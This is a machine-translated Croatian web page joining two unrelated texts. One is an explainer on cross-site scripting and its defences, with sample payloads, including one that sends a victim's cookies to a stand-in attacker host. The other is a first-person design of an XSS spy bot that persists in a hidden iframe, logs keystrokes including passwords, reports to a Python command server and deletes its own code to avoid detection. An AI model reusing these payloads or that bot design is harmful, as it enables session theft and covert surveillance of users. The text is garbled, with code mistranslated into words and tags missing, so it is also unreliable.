Skriptiranje na više stranica. XSS ranjivost - što je to? Primjeri XSS ranjivosti

Ory Segal

Naučite kako hakeri koriste napade skriptiranjem na više stranica, što čine (a ne) štete, kako ih uočiti i kako zaštititi svoje web mjesto i njegove posjetitelje od tih zlonamjernih povreda privatnosti i sigurnosti.

Cross-site scripting (ili skraćeno XSS) jedan je od najčešćih napada na razini aplikacije koje hakeri koriste za kompromitiranje web aplikacija. XSS je napad na privatnost korisnika određene web stranice. Može dovesti do potpunog uništenja sigurnosnog sustava kada se klijentski podaci ukradu i koriste u budućnosti u neku svrhu. Većina napada uključuje dvije strane: ili napadača i web stranicu ili napadača i klijenta žrtvu. Međutim, XSS napad uključuje tri strane: napadača, klijenta i web mjesto.

Svrha XSS napada je ukrasti kolačiće ili druge kolačiće s klijentovog računala. povjerljive informacije, koji može identificirati klijenta na web stranici. Imajući informacije koje ga identificiraju kao legitimnog korisnika, napadač može djelovati na stranici kao takav korisnik, tj. pretvarati se da si on. Na primjer, u jednoj reviziji provedenoj u velikoj tvrtki bilo je moguće doći do osobnih podataka korisnika i korisničkog broja korištenjem XSS napada. kreditna kartica. To je postignuto pokretanjem prilagođenog JavaScript koda. Ovaj kod je izvršen u pregledniku žrtve (klijenta), koji je imao pristupne privilegije web stranici. Postoji vrlo ograničen broj JavaScript privilegija koje skripti ne daju pristup ničemu osim informacijama specifičnim za web mjesto. Važno je naglasiti da iako ranjivost postoji na web stranici, sama web stranica nije izravno oštećena. Ali ovo je dovoljno da se scenarij skupi kolačići i poslao ih napadaču. Kao rezultat toga, napadač dobiva potrebne podatke i može oponašati žrtvu.

Imenujmo napadnutu stranicu na sljedeći način: www.vulnerable.site. Tradicionalni XSS napad oslanja se na ranjivu skriptu koja se nalazi na ranjivoj web stranici. Ova skripta čita dio HTTP zahtjeva (obično parametre, ali ponekad i HTTP zaglavlja ili putanju) i ponavlja ga za stranicu odgovora, bilo cijeli ili samo dio. Ovo ne čisti zahtjev (tj. ne provjerava da zahtjev ne sadrži JavaScript kod ili HTML oznake). Recimo da se ova skripta zove welcome.cgi i da je njen parametar ime. Može se koristiti ovako:

Kako se to može zloupotrijebiti? Napadač mora moći namamiti kupca (žrtvu) da klikne na poveznicu koju mu napadač daje. Ovo je pažljivo i zlonamjerno izrađena poveznica koja uzrokuje da žrtvin web preglednik pristupi web stranici (www.vulnerable.site) i izvrši ranjivu skriptu. Podaci za ovu skriptu sadrže JavaScript kod koji pristupa kolačićima koje pohranjuje klijentov preglednik za stranicu www.vulnerable.site. Ovo je dopušteno jer klijentov preglednik "misli" da JavaScript kod dolazi s www.vulnerable.site. A JavaScript sigurnosni model dopušta skriptama koje potječu s određene stranice da pristupe kolačićima koji pripadaju toj stranici.

Odgovor ranjive stranice bit će sljedeći:

Dobrodošli! Bok upozorenje(document.cookie)

Dobrodošli u naš sustav...

Preglednik klijenta žrtve tumači ovaj zahtjev kao HTML stranicu koja sadrži dio JavaScript koda. Ovaj kod, kada se izvrši, imat će pristup svim kolačićima koji pripadaju stranici www.vulnerable.site. Posljedično, to će uzrokovati skočni prozor u pregledniku koji prikazuje sve klijentove kolačiće koji su povezani s www.vulnerable.site.

Naravno, pravi napad bi uključivao slanje ovih datoteka napadaču. Da bi to učinio, napadač može stvoriti web stranicu (www.attacker.site) i koristiti skriptu za primanje kolačića. Umjesto pozivanja skočnog prozora, napadač bi napisao kod koji pristupa URL-u www.attacker.site. U tom smislu, izvršava se skripta za dobivanje kolačića. Parametar za ovu skriptu su ukradeni kolačići. Stoga napadač može dobiti kolačiće s poslužitelja www.attacker.site.

Odmah nakon učitavanja ove stranice, preglednik će izvršiti tamo umetnuti JavaScript kod i proslijediti zahtjev skripti collect.cgi na www.attacker.site zajedno s vrijednošću kolačića s www.vulnerable.site koje preglednik već ima. To narušava sigurnost kolačića www.vulnerable.site koje klijent ima. To omogućuje napadaču da se pretvara da je žrtva. Povjerljivost klijenta je potpuno narušena.

Bilješka.
Obično pozivanje skočnog prozora s koristeći JavaScript dovoljno je da pokaže ranjivost stranice na XSS napad. Ako možete pozvati funkciju upozorenja iz JavaScripta, obično nema razloga zašto poziv ne bi uspio. Zbog toga većina primjera XSS napada koristi funkciju Alert, koja omogućuje vrlo jednostavno određivanje uspješnosti napada.

Napad se može dogoditi samo u pregledniku žrtve, istom onom koji se koristi za pristup stranici (www.vulnerable.site). Napadač mora prisiliti klijenta da pristupi zlonamjernoj vezi. To se može postići na nekoliko načina.

  • Napadač šalje e-poruku koja sadrži HTML stranicu koja vara preglednik da otvori vezu. Ovo zahtijeva od žrtve da koristi klijenta E-mail, sposoban za rad s HTML-om. A HTML preglednik na klijentu mora biti isti preglednik koji se koristi za pristup www.vulnerable.site.
  • Klijent posjećuje web mjesto, koje je vjerojatno stvorio napadač, na kojem se nalazi poveznica na sliku ili drugu aktivnu stranicu HTML element tjera preglednik da otvori vezu. Opet, u ovom slučaju, imperativ je da se isti preglednik koristi za pristup ovoj stranici i stranici www.vulnerable.site.

Zlonamjerni JavaScript kod može pristupiti bilo kojoj od sljedećih informacija:

  • trajni kolačići (stranice www.vulnerable.site), koje pohranjuje preglednik;
  • kolačiće u memoriji (stranice www.vulnerable.site), koje instanca preglednika podržava samo prilikom pregleda stranice www.vulnerable.site;
  • imena drugih prozora otvorenih za stranicu www.vulnerable.site.
  • sve informacije koje su dostupne putem trenutnog DOM-a (iz vrijednosti, HTML koda itd.).

Podaci o identifikaciji, autorizaciji i autentifikaciji obično se pohranjuju u obliku kolačića. Ako su ti kolačići trajni, žrtva je ranjiva na napad čak i kada ne koristi preglednik kada pristupa www.vulnerable.site. Međutim, ako su kolačići privremeni (na primjer, pohranjeni su u RAM-u), tada na strani klijenta mora postojati sesija sa web mjestom www.vulnerable.site.

Druga moguća implementacija identifikacijske oznake je URL parametar. U takvim slučajevima možete pristupiti drugim prozorima koristeći JavaScript na sljedeći način (pod pretpostavkom da je naziv stranice sa željenim URL parametrima foobar):

var žrtva_window=open(","foobar");alert("Može pristupiti:

" +victim_window.location.search)

Za pokretanje JavaScript skripte možete koristiti mnoge HTML oznake osim . Zapravo, također je moguće zlonamjerni JavaScript kod postaviti na drugi poslužitelj i zatim prevariti klijenta da preuzme skriptu i izvrši je. Ovo može biti korisno ako trebate pokrenuti veliku količinu koda ili ako kôd sadrži posebne znakove.

Evo nekoliko varijacija ovih mogućnosti.

  • Umjesto... hakeri mogu koristiti . Ovo je prikladno za stranice koje filtriraju HTML oznaku.
  • Umjesto ... možete koristiti konstrukciju . Ovo je dobro u situacijama kada je JavaScript kod predugačak ili ako sadrži nedopuštene znakove.

Ponekad su podaci ugrađeni u stranicu odgovora u plaćenom HTML kontekstu. U tom slučaju prvo treba "pobjeći" u slobodni kontekst, a zatim izvesti XSS napad. Na primjer, ako su podaci umetnuti kao zadana vrijednost za polje HTML obrasca:

A rezultirajući HTML kod bit će sljedeći:

prozor.otvoriti

("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

Do sada smo vidjeli da se XSS napad može dogoditi u parametru GET zahtjeva na koji skripta odgovara. Ali napad se također može izvršiti pomoću POST zahtjeva ili pomoću komponente staze HTTP zahtjeva, pa čak i pomoću nekih HTTP zaglavlja (na primjer, Referer).

Konkretno, komponenta puta je korisna kada stranica s pogreškom vrati nevažeći put. U tom slučaju uključivanje zlonamjerne skripte u stazu često će uzrokovati njezino izvršenje. Mnogi web poslužitelji ranjivi su na ovaj napad.

Važno je razumjeti da, iako web stranica nije izravno pogođena ovim napadom (nastavlja normalno funkcionirati, na njoj se ne izvršava zlonamjerni kod, DoS napad ne dogodi, a podaci sa stranice nisu izravno čitani ili mijenjani), to je i dalje kršenje sigurnosnog sustava koji stranica nudi svojim kupcima ili posjetiteljima. Ovo je slično mjestu koje se koristi za implementaciju aplikacije sa slabim sigurnosnim oznakama. Zbog toga napadač može pogoditi klijentovu sigurnosnu oznaku i pretvarati se da je on (ili ona).

Slaba točka aplikacije je skripta koja vraća svoj parametar bez obzira na njegovu vrijednost. Dobra skripta trebala bi osigurati da je parametar u ispravnom formatu, da sadrži prihvatljive znakove itd. Obično nema razloga da ispravan parametar sadrži HTML oznake ili JavaScript kôd. Moraju se ukloniti iz parametra prije nego što se može ubaciti u odgovor ili koristiti u aplikaciji. To će osigurati sigurnost.

Postoje tri načina za zaštitu vaše web stranice od XSS napada.

  • Izvođenjem vlastitog filtriranja ulaznih podataka (ponekad zvano dezinfekcija ulaza). Za svaki korisnički unos (bilo da se radi o parametru ili HTML zaglavlju), svaka samostalno napisana skripta treba koristiti napredno filtriranje prema HTML oznakama, uključujući JavaScript kôd. Na primjer, skripta welcome.cgi iz prethodnog primjera trebala bi filtrirati oznaku nakon dekodiranja parametra naziva. Ova metoda ima nekoliko ozbiljnih nedostataka.
    • Od aplikacijskog programera zahtijeva dobro poznavanje sigurnosnih tehnologija.
    • Od programera se zahtijeva da pokrije sve moguće izvore ulaznih podataka (parametri zahtjeva, parametri tijela POST zahtjeva, HTTP zaglavlja).
    • Ne može zaštititi od ranjivosti u skriptama ili poslužiteljima treće strane. Na primjer, neće zaštititi od problema na stranicama s pogreškama na web poslužiteljima (koje prikazuju izvorni put).
  • Izvođenje "filtriranja izlaza", tj. filtriranje korisničkih podataka kada se šalju natrag u preglednik, a ne kada ih skripta primi. Dobar primjer Ovaj pristup može biti skripta koja umeće podatke u bazu podataka i zatim ih prikazuje. U ovom slučaju, važno je primijeniti filtar ne na izvorni ulazni niz, već samo na izlaznu verziju. Nedostaci ove metode slični su nedostacima ulaznog filtriranja.
  • Instaliranje vatrozida aplikacije treće strane (firewall). Ovaj zaslon presreće XSS napade prije nego što dođu do web poslužitelja i ranjivih skripti te ih blokira. Aplikacijski vatrozidi mogu pokriti sve metode unosa tretirajući ih na zajednički način (uključujući stazu i HTTP zaglavlja), bez obzira na skriptu ili stazu iz izvorne aplikacije, skriptu treće strane ili skriptu koja ne opisuje nikakve resurse na sve (na primjer, jedan dizajniran za pokretanje stranice odgovora 404 s poslužitelja). Za svaki izvor unosa, vatrozid aplikacije ispituje podatke za različite uzorke HTML oznaka i JavaScript koda. Ako postoje podudaranja, zahtjev se blokira i zlonamjerni podaci ne dolaze do poslužitelja.

    • Logičan zaključak zaštite web stranice je provjera njezine sigurnosti od XSS napada. Poput zaštite stranice od XSS-a, provjera razine zaštite može se obaviti ručno (na teži način) ili korištenjem automatiziranog alata za procjenu ranjivosti web aplikacija. Ovaj će alat skinuti teret provjere s vaših ramena. Ovaj program se kreće po stranici i pokreće sve opcije koje zna za sve skripte koje otkrije. Ovo pokušava sve parametre, zaglavlja i staze. Kod obje metode svaki unos u aplikaciju (parametri svih skripti, HTTP zaglavlja, putanje) provjerava se sa što više opcija. A ako stranica s odgovorom sadrži JavaScript kod u kontekstu u kojem ga preglednik može izvršiti, pojavljuje se poruka o XSS ranjivosti. Na primjer, kada šaljete sljedeći tekst:

    upozorenje(dokument.kolačić)

    Za svaki parametar svake skripte (putem preglednika s mogućnostima JavaScripta za otkrivanje najjednostavnijeg oblika XSS ranjivosti), preglednik će pokrenuti prozor s upozorenjem za JavaScript ako se tekst tumači kao JavaScript kod. Naravno, postoji nekoliko opcija. Stoga testiranje samo ove opcije nije dovoljno. I, kao što ste već naučili, možete umetnuti JavaScript kôd u različita polja zahtjeva: parametre, HTTP zaglavlja i putanju. Međutim, u nekim slučajevima (osobito sa zaglavljem HTTP Referer), nezgodno je izvesti napad pomoću preglednika.

    Cross-site scripting jedan je od najčešćih napada na razini aplikacije koje hakeri koriste za kompromitiranje web aplikacija. To je ujedno i najopasnije. Ovo je napad na privatnost korisnika određene web stranice. Može dovesti do potpunog uništenja sigurnosnog sustava kada se klijentski podaci ukradu i koriste u budućnosti u neku svrhu. Nažalost, kao što ovaj članak objašnjava, to se često radi bez znanja o klijentu ili organizaciji koja je napadnuta.

    Kako bi se spriječilo da web-mjesta budu ranjiva na ove zlonamjerne aktivnosti, važno je da organizacija implementira i online i offline sigurnosnu strategiju. To uključuje automatizirani alat za provjeru ranjivosti koji može testirati sve poznate ranjivosti web-mjesta i specifičnih aplikacija (kao što je skriptiranje između web-mjesta) na web-mjestu. Za potpunu mrežnu zaštitu također je bitno instalirati vatrozid koji može otkriti i blokirati bilo koju vrstu manipulacije kodom i podacima koji se nalaze na ili iza web poslužitelja.

    Svima je odavno poznato da najčešće pomoću XSS-a napadač pokušava žrtvi poslati kolačić, pročitati CSRF tokene, izvršiti phishing napad (izradom lažnog obrasca za prijavu), izvršiti neku radnju u ime korisnika i neki drugi slični napadi (možda ovo nisu sve mogućnosti, ali ovo su sve meni najpopularnije poznate na ovaj trenutak).

    Svrha ove metode je nadzirati stranice u ime korisnika kojima se on kreće na napadnutom mjestu, kao i pratiti njegove pritiske na tipke (možete koristiti i pokrete miša i klikove, ali meni će to biti nepotrebno, ne osobito korisno informacija, u većini slučajeva sigurno) .
    Sada što se tiče maksimalne koristi - vjerujem da će algoritam biti ovakav:

    • čitati i slati kolačiće;
    • pročitajte i pošaljite ostatak informacija (IP adresa, instaliranih dodataka, verzija i tip preglednika, podrška za flash, podrška za silverlight itd.) [opcionalno]
    • dobiti informacije o internoj mreži, prodrijeti u usmjerivač [opcionalno]
    • čitanje i slanje različitih tokena [opcionalno];
    • implementirati phishing [opcionalno];
    • radimo nešto "korisnikovim rukama" [opcionalno];
    • nastavljamo ga špijunirati i dobivati ​​informacije dok ne zatvori karticu ili napusti stranicu;

    Sve neobavezne stavke popisa IMHO treba izvršiti ovisno o situaciji i specifičnim prioritetima za ciljeve koje je potrebno postići korištenjem XSS-a, ponekad mogu ometati jedna drugu (ako ih pokušate kombinirati, ili bolje rečeno izvršiti jednu za drugom) i povećati vjerojatnost neuspjeha XSS operacije.
    Ali evo prvog zadnja točka To biste trebali učiniti uvijek, u svakom slučaju.Zapravo, glavni dio članka bit će o posljednjoj stavci s ovog popisa.

    Približavamo se cilju.

    Počet ću izdaleka: putem JavaScripta moguće je promijeniti put do adresna traka bez ponovnog učitavanja stranice. Na primjer, ako je korisnik učitao stranicu na


    Tada će sadržaj u adresnoj traci postati sljedeći (bez ponovnog učitavanja stranice):

    http: //site.com/novi-url/

    Ova značajka je, inače, ponekad vrlo korisna kada je potrebno sakriti se od korisnika (ili pažljivije kategorije korisnika - admina) brzim čišćenjem URL-a nakon što su kliknuli na poveznicu koja je sadržavala Reflected XSS, tako da kasnije, nakon učitavanja stranice, gledajući u adresnu traku, nisam pronašao ništa.

    http : //site.com/search.php?q=123 dokument . tijelo. innerHTML += "Hakiran" ;

    http: //site.com/search.php?q=123 prozor. povijesti. pushState ("", "", "/"); dokument. tijelo. innerHTML += "Hakiran" ;

    lišit ćemo ga ove mogućnosti.

    Ali ova tehnika ima još zanimljivije i snažnije primjene. Simulirat ćemo korisnikov boravak na stranici nakon klika na poveznicu, zapravo, on će cijelo vrijeme ostati na jednoj stranici, au ovom trenutku će raditi skripta treće strane koja će izvlačiti i slati informacije napadaču. Tako, XSS će raditi sve dok korisnik klikne na poveznicu na ovoj domeni .

    Mi označavamo ideju.

    Opći princip rada je sljedeći: kada korisnik uđe na stranicu s XSS-om, skripta kreira iframe s istom adresom kao i stranica i “prikači” ga u prvi plan, korisnik ima dojam da se stranica normalno učitala, jer iframe se može vidjeti samo na kodnim stranicama.

    A pomoćna skripta kontrolira logiku špijunskog bota, odnosno prati kada se adresa u okviru promijeni kako bi je promijenila u adresnoj traci, ali ako novopromijenjena adresa okvira ima drugu domenu, tada možete otvoriti u novoj kartici ili ćete morati ponovno učitati stranicu kako se ne biste opekli.
    Stoga, kako bi se XSS trenutno prestao izvršavati, korisnik mora ili ručno osvježiti stranicu (ako je XSS Reflected i poslan je metodom POST, u drugim slučajevima ažuriranje neće pomoći, a usput, neki preglednici sada mogu ponovno poslati POST zahtjev prilikom ažuriranja stranice) ili zatvoriti karticu ili se prebaciti na drugu domenu (iako u ovom slučaju još uvijek možete izbjeći gubitak kontrole).

    Ako ide na poddomenu napadnute domene, onda je to izbor napadača, odnosno XSS će raditi, ali postoji mala vjerojatnost da će korisnik otkriti neslaganje između adrese. Mislim da ovisno o situaciji ovdje, na primjer, ako je domena google.ru napadnuta, korisnik se prebacio na Googleov servis datoteka u oblaku, koji se obično nalazi u poddomeni drive.google.ru, tada je vjerojatnost da će primijetiti ulov kada gledate adresnu traku je prilično visok, ako je često koristio ovu uslugu. U suprotnom biste mogli i riskirati. Ali moramo uzeti u obzir da više nećemo moći čitati njegove podatke iz okvira s poddomenom, budući da Cross Origin Policy to neće dopustiti. Ali možemo se lako popeti na glavnu domenu u njeno ime skriveni način rada(o tome će biti više riječi u nastavku).

    Samo kod ovu metodu Postoje ograničenja, naime, neće raditi ako odgovori web poslužitelja stranice imaju zaglavlje X-Frame-Options s vrijednošću DENY. Ali osobno sam doslovno nekoliko puta naišao na takve stranice, sada čak polovica njih nema postavljen SAMEORIGIN, a da ne govorim o potpunom ograničenju kroz PORICI.

    Analizirajmo ideju.

    Sada se mnogi vjerojatno sjećaju tako divne stvari kao što je BeEF, koji također ima puno zanimljivih stvari. Usput, postoji i opcija da se korisnik prisili na preusmjeravanje u okviru, ali se adresa u adresnoj traci ne mijenja, što može brzo spržiti radni stol i ova opcija služi za malo drugačije svrhe.
    Općenito, BeEF ima gotovo sve što vam treba, pa čak i puno dodatne funkcije, ali osobno sam želio dodatnu funkcionalnost, naime:

    • mogućnost praćenja koda stranica koje su dostupne napadnutom korisniku u stvarnom vremenu;
    • mogućnost da vidi sve što tipka na toj stranici (od logina i passworda, do hotkeysa i poruka), odnosno keylogger u JS-u;
    • mogućnost davanja JS naredbi vašem botu u stvarnom vremenu, nakon pregleda koda primljenih stranica;
    • mogućnost prepuštanja naredbi botu lokalno, kako bi ih on kasnije mogao “pokupiti” i izvršiti bez našeg izravnog sudjelovanja;
    • manja vjerojatnost da će bot biti spaljen ili sposobnost bota da se "sakrije" od znatiželjnih očiju;

    Kao što je gore spomenuto, odlučio sam posuditi cool ideju o redu čekanja za izvršavanje naredbi od BeEF-a. Na primjer, analizirali smo stranice koje je bot ispustio kada je privilegirani korisnik pristupao svojoj upravljačkoj ploči s pohranjenim XSS-om, prepuštamo naredbe botu - JS kodu, kao što je sljedeći put kada se korisnik prijavi, kliknite ovaj gumb, napišite ovo vrijednost ovdje, itd., sljedeći put kada ovaj korisnik posjeti stranicu, bot čita naredbe i izvršava ih, a mi ne moramo biti na njegovom čelu za sve - vrlo je zgodno.

    U osnovi, takav bot je, naravno, dizajniran za korisnike visokog statusa nekih stranica koje imaju dodatne "poluge" za upravljanje sadržajem, drugim korisnicima itd. Iz zahtjeva za funkcionalnosti jasno je da ne možemo bez poslužiteljskog dijela.

    Provedimo ideju.

    U principu, možete preskočiti ovaj dio članka, jer jednostavno opisuje proces implementacije željenog bota i neke njegove detalje, u slučaju da ga netko želi preraditi ili prilagoditi sebi. Iako će bot imati varijable na početku koda preko kojih možete postaviti neke postavke.
    Prvo, algoritam radnji bota od trenutka učitavanja:

    1) Provjera prisutnosti zaglavlja X-Frame-Opcije: DENY(ako postoji, onda smotamo štapove za pecanje);
    2) Ugradnja okvira i postavljanje svih komponenti bota;
    3) Uklanjanje skripte i svih tragova u HTML kodu;
    4) Uspostavljanje kontakta sa poslužiteljskim dijelom i početak slanja podataka, odgovaranje na odgovore (primanje naredbi od poslužitelja);

    Prva točka nije odrađena do kraja, odnosno bot provjerava samo prvu stranicu i korijensko zaglavlje. Činjenica je da ta zaglavlja obično ugrađuje web poslužitelj za sve stranice odjednom i to vrlo rijetko, što za zasebna stranica sve se radi "ručno". I sam ovaj naslov je prilično rijedak. Pa, o drugom i trećem nema se puno govoriti, sve će biti ispod.

    Postoji relativno važna točka da prije dodavanja koda bot skripte u svoj kod, morate se odmah riješiti XSS znakova u adresnoj traci (iz JS koda), jer to smanjuje šanse za otkrivanje i, što je najvažnije, sprječava rekurziju to se događa prilikom dodavanja adrese u okvir s istim XSS kodom, koji zauzvrat stvara drugi okvir sam sa sobom, i tako dalje.

    Ali za svaki slučaj, kod bota implementira mogućnost detektiranja takve rekurzije okvira i sprječavanja pri prvom pokušaju dodavanja okvira već stvorenom, ali bolje je ne oslanjati se samo na to, već dodatno ukloniti kod prije učitavanja koda bota. Iako još nisam naišao na probleme.

    Funkcija provjere ažuriranja okvira. Pokušao sam na nekoliko načina da ekonomično riješim ovaj problem tako što sam uključio rukovatelje događajima contentWindow ili contentDocument, ali ništa nije radilo, pa sam morao napisati funkciju koja će provjeriti adresu okvira i usporediti je s prethodno spremljenom, te na temelju toga odlučiti da li se okvir ažurira (da li se adresa promijenila) i onda nazvati se rekurzivno.

    Učestalost takvih provjera u sekundi kontrolirana je varijablom odgoditi, koji je naveden na početku kodne datoteke bota. Ali kasnije, nakon što sam to već napisao, pronašao sam učinkovitije rješenje - upotrijebite jednostavno rješenje i objesite onload u okvir, pa sam ostavio tu funkciju, ali sam je komentirao, ako se kasnije pokaže da je traženija.

    Slanje HTML koda stranice.

    Shema je ovdje prilično jednostavna - nakon svakog ponovnog učitavanja okvira (uključujući i prvo učitavanje), bot šalje poslužitelju cijeli HTML kod stranice zajedno s njegovom trenutnom adresom, tako da kasnije možete razlučiti pripada li kod željenom stranice.

    Poslužitelj implementira logiku pohranjivanja stranica - poslužitelj kreira mapu za svaku domenu s nazivom te domene i tamo sprema sve podatke. Kodovi stranica se spremaju i stalno ažuriraju trenutne verzije, ali u isto vrijeme, svaki novi dan stvara se nova kopija stranice tako da možete kontrolirati povijest verzija ako je potrebno. To je za /vijesti.php 1. rujna stanje će se ažurirati, a 2. rujna će se kreirati njegova kopija, relevantna samo za taj dan, i tako svaki dan iznova (ako korisnik ovu stranicu posjećuje svaki dan). Naziv stranice sastoji se od datuma i putanje do ove stranice u odnosu na korijen stranice (to jest, bez domene).

    Keylogger u JavaScriptu.

    Ideju su već proveli neki entuzijasti, ali njihov rad nije bio prikladan za mene, makar samo zato što je većina bila prilično jednostavna, odnosno detektirala je šifru pritisnute tipke i kroz String.fromCharCode prevedeno u simbole. Ali ova metoda ima brojne nedostatke - kontrolne tipke kao što su shift, control, space, itd., ne prevode se u bilo koji oblik (često jednostavno u prazan znak), interakcija alfanumeričkih tipki sa shiftom se pogrešno bilježi, jer ovo mora biti implementirano programski, a Također, sve pritisnute tipke se prikazuju velikim slovima, što se također može ispraviti programski.

    Rezultat je bio keylogger koji je ispravno detektirao sve tipke brojeva, slova i osnovnih znakova, radeći na oba rasporeda, reagirajući na shift i bilježeći sve glavne posebne tipke. Istina, neki znakovi (na vrhu retka brojeva, koji se ispisuju kada se pritisnu shift i broj) mogu se razlikovati na nekim strojevima, budući da su implementirani prema osnovnom standardu, koji neke tvrtke mijenjaju.
    Klijent zadržava svaki pritisnuti dio znakova sve dok element teksta ne izgubi fokus. Zatim se ovaj dio šalje na poslužitelj, gdje se pohranjuje tekstualna datoteka, koji će također biti kreiran svaki dan s novom kopijom, tako da ne naraste do velikih veličina i da možete brzo pronaći što je korisnik u tom trenutku upisivao.
    Osim samih ključeva, sa svakim dijelom se serveru šalje informacija o elementu u kojem je tekst upisan (odnosno je li , [ ili neki kada je korisnik koristio hotkeys), osim naziva elementa, šalju se i njegovi osnovni podaci (id, naziv, klasa - ako postoji) kako bi se zatim mogao lako pronaći u kodu. I naravno, bilježi se adresa stranice na kojoj je izvršeno zapošljavanje i približno vrijeme ovog zapošljavanja. U opće informacije o korisnikovom kuckanju po tipkovnici šalje se sasvim dovoljno za njegovu naknadnu analizu.

    Upravljajte svojim botom.

    Ovaj proces može izvesti napadač ili na strani gdje će bot pokrenuti stranu poslužitelja ili čak daljinski. Nakon pokretanja poslužiteljske skripte pokreće se vlastiti minijaturni web poslužitelj koji poslužuje zahtjeve bota i njegovog kontrolera koji radi preko web sučelja. Odnosno, nakon pokretanja, web poslužitelj izdaje vezu, odlaskom na koju možete početi davati naredbe botu.

    O ovoj upravljačkoj ploči. Prvo, bilo je potrebno ograničiti ga lozinkom (put i malo tko će znati za rad usluge na tom i tom portu ili za adresu na koju treba otići da bi koristio tu uslugu), tako da prilikom prve prijave poslužitelj će tražiti lozinku koja se nalazi u adresnoj traci (primjer će biti naveden), originalna lozinka pohranjena je u lozinka.txt, koji se može mijenjati. Nakon prve prijave, web poslužitelj će uputiti preglednik da spremi lozinku u kolačić, tako da više ne morate brinuti o tome.

    Na samoj stranici za slanje naredbi botu nalaze se i podaci o stanju bota - da li je trenutno online ili offline, te par postavki od kojih je prva host, odnosno IP adresa ili domena stranice na koju će se slati naredbe botu. Ovo je osmišljeno u slučaju da nekoliko stranica sadrži ovog bota, tako da ih se može identificirati. Na poslužitelju su i za ovaj slučaj svi podaci podijeljeni u mape s nazivima domena.
    Slijedi prozor u kojem možete pisati naredbe botu u JS-u i opcija koja postavlja gdje će se ovaj JS kod izvršiti, u glavnom prozoru gdje se nalazi bot ili u okviru - ovo je učinjeno radi praktičnosti, za svaki slučaj .

    Ako bot nije online, tada poslužitelj jednostavno sprema naredbe i kasnije, kada bot postane online, odnosno korisnik ponovno s njim posjeti stranicu ili slijedi link napadača, te će se naredbe izvršiti.
    Ovo je vrlo zgodno ako je tijekom prvog izviđanja bot izbrisao sve stranice koje je korisnik posjetio (npr. osobni račun), proučivši kod od kojeg smo kompajlirali naredbe u JS-u, kako bi bot potom klikao na linkove koji su nam potrebni, unosio potrebne podatke, prikazivao potrebne slike itd., što bi pomoglo u postizanju našeg cilja.

    Ili možete izravno u stvarnom vremenu, brzo pogledati sadržaj stranica kroz kod i dati naredbe botu da pošalje kod drugih stranica, ode na drugu adresu itd. I sve će to biti učinjeno “iza screen” korisnika, koji će mirno surfati stranicom kroz okvir.

    Radi vaše udobnosti, najčešće korištene upute možete oblikovati u cijele funkcije u JS-u, koje se zatim unose u izvornu datoteku bota ( xsb.js, više o strukturi datoteke u nastavku) i korištenje. Ili koristite one funkcije koje su uključene u bot, iako postoje samo osnove i nema ništa novo, ali npr. možete koristiti funkciju slanja koda stranice u bilo kojem trenutku, a ne kada se okvir ponovno učita. Možete napisati funkciju koja će otvarati poveznice koje su joj proslijeđene u novim okvirima u pozadini kako biste u ime korisnika vidjeli sadržaj nekoliko stranica odjednom (i upravljali tim sadržajem svojim virtualnim rukama).

    Uklanjanje vlastitog koda.

    Pa, posljednja značajka implementirana je vrlo jednostavno (može se onemogućiti postavljanjem željene varijable u datoteci, one su komentirane). Skripta, nakon postavljanja i obješenja svih rukovatelja događajima, stvaranja svih varijabli i funkcija, sama se briše

    Uostalom, svi su podaci već učitani radna memorija putem preglednika, tako da nema razloga za brigu, ali to je u teoriji, možda će kasnije biti nekih problema koje nisam uzeo u obzir, pa sam napravio varijablu koja se može koristiti za onemogućavanje ove značajke ako je potrebno.

    Nakon brisanja svih skripti, bit će izuzetno teško uočiti XSS, budući da prisutnost okvira to ne ukazuje sasvim neizravno, a sam kod se može pronaći samo u zapisima povijesti mrežnog prometa preglednika (koji se ne čuvaju prema zadanim postavkama u mnogim preglednicima ako ploča za razvojne programere nije otvorena) .

    Serverski dio.

    Za jednostavniji i praktičniji način pokretanja bota, odlučeno je da napišemo vlastiti mali web poslužitelj na socket-ima, koji bi služio botu, osiguravao sve operacije za primanje i objavljivanje poslanih podataka, prenosio poruke između napadača i bota, i stvoriti web sučelje za napadača za naredbu.
    Poslužitelj je napisan u Pythonu, pokušao sam koristiti samo standardne biblioteke tako da ne moram ništa instalirati prije pokretanja. Također, server sam uređuje neke podatke u skriptama, odnosno u JS skripti bota nema potrebe postavljati adresu zapovjednog servera, web server će sam tamo postaviti potrebnu prilikom pokretanja. U konfiguraciji poslužitelja postoji samo jedan parametar - port na kojem će se pokrenuti (zadano je 8000).
    Poslužitelj će nakon pokretanja pružiti sve potrebne podatke - poveznicu na JS skriptu koju je potrebno ubaciti, poveznicu na naredbenu ploču, odnosno veze na vanjske i lokalne adrese, radi praktičnosti.

    Shema rada s botom.

    Pokrećemo server na nekom neprijavljenom portu i možete poslati link sa bot skriptom, onda će vam svi koji kliknu na njega poslati podatke koje će server spremiti u bilo koje doba dana. Tada ih možete jednostavno pogledati ako postoji potreba da napustite timskog bota i nastavite raditi svoje stvari.

    Struktura datoteke.

    Mapa sadrži sljedeće datoteke:

    • xsb.py - glavna datoteka koja implementira serverski dio; da bi bot radio, pokrenite ga, a zatim jednostavno koristite link koji nudi;
    • xsb.js - ovdje je pohranjen JS kod bota, vezu na koju pruža poslužitelj; konfiguracijske varijable deklarirane su na početku, koje se mogu mijenjati po vašem nahođenju (neke, naime host i port, poslužitelj će se kasnije sam postaviti, ne morate brinuti);
    • panel.html - odavde poslužitelj preuzima kod za upravljačku ploču bota, sučelje možete prilagoditi po vlastitom nahođenju;
    • password.txt - ovdje je pohranjena lozinka za upravljačku ploču koja se može promijeniti;
    • savedData je direktorij u kojem će se kreirati mape s domenama web stranica u koje će se spremati svi podaci.

    Da opet napomenem da u spisu xsb.js možete dodati vlastite funkcije, koje zatim možete pozivati ​​kroz panel bez pisanja velikih dijelova koda;

    Kratka analiza rezultata.

